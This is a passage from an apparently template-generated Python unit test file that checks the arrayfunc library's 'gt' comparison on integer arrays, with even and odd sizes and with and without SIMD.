self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code i.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_i_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'i' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'i' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'i' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('i', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('i', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('i', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('i', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('i', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code i.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_i_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'i' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'i' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'i' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('i', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('i', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('i', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('i', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('i', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code i.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_i_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'i' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'i' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'i' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('i', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('i', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('i', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('i', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('i', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code i.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_i_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'i' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'i' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'i' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('i', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('i', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('i', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('i', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('i', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code i.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_i_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'i' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'i' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'i' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('i', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('i', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('i', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('i', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('i', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
